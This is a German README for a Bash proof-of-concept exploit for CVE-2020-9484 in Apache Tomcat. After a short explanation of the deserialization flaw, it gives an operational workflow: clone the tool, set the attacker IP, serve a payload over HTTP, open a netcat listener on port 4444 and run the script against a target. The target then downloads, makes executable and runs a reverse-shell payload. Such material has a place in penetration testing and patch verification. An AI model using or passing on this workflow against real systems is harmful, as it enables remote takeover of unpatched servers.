
Bash Proof-of-Concept-Exploit für CVE-2020-9484, der Remote-Code-Ausführung auf Apache Tomcat durch unsichere Deserialisierung bei Datei-Uploads ermöglicht, mit Reverse-Shell-Payload-Generierung.
Apache Tomcat 9.0.27 ist anfällig für Remote-Code-Ausführung mit der CVE-ID CVE-2020-9484. Andere Versionen könnten ebenfalls betroffen sein. Getestet auf Kali 2020.4 und JDK 8. Dieses Bash-Skript ist ein einfacher Proof-of-Concept. Nur zu Bildungszwecken.
Die Schwachstelle ermöglicht es einem entfernten Angreifer, beliebigen Code auf dem Zielsystem auszuführen.
Die Schwachstelle besteht aufgrund einer unsicheren Eingabevalidierung bei der Verarbeitung von serialisierten Daten in den Namen hochgeladener Dateien. Ein entfernter Angreifer kann einen speziell präparierten Dateinamen an die Anwendung übergeben und beliebigen Code auf dem Zielsystem ausführen.
Eine erfolgreiche Ausnutzung dieser Schwachstelle kann zu einer vollständigen Kompromittierung des anfälligen Systems führen, erfordert jedoch, dass der Server für die Verwendung von PersistenceManager mit einem FileStore konfiguriert ist und der Angreifer den relativen Dateipfad zum Speicherort kennt.
Um das Skript zu verwenden, wird yoserial benötigt. So installieren Sie es:
cd /opt && git clone https://github.com/frohoff/ysoserial
cd /opt/ysoserial && wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-master.jar
Wenn Sie yoserial bereits installiert haben, stellen Sie sicher, dass Sie es in "yosorial-master.jar" umbenennen.
Um das Skript zu installieren, geben Sie ein:
cd /opt && git clone https://github.com/PenTestical/CVE-2020-9484 && cd CVE-2020-9484/ && chmod +x CVE-2020-9484.sh
Um das Hilfemenü zu öffnen, geben Sie ein:
./CVE-2020-9484.sh --help
oder
./CVE-2020-9484.sh -h
Öffnen Sie zuerst das Skript und setzen Sie Ihre eigene IP-Adresse in Zeile 14 ein:
remote_ip="10.10.16.180" # change this
Dieses Skript erstellt die Dateien "payload.sh", "downloadPayload.session", "chmodPayload.session" und "executePayload.session" im selben Verzeichnis, in dem Sie sich gerade befinden. Um den Exploit zu verwenden, müssen Sie einen einfachen Listener auf Port 80 starten. Zum Beispiel die Verwendung mit Python3 (starten im selben Ordner, in dem Sie das Skript ausführen):
sudo python3 -m http.server 80
Stellen Sie außerdem sicher, dass Sie einen Netcat-Listener auf Port 4444 starten:
nc -nvlp 4444
Führen Sie nun das Skript mit der IP-Adresse des Zielsystems aus, das Sie angreifen möchten:
./CVE-2020-9484.sh target-ip
Wenn es nicht funktioniert, stellen Sie sicher, dass Sie JDK 8 verwenden. Um zu testen, welche Version Sie verwenden, geben Sie ein:
java -version
Funktioniert möglicherweise nicht mit JDK Version 12 oder höher. Lesen Sie mehr darüber hier.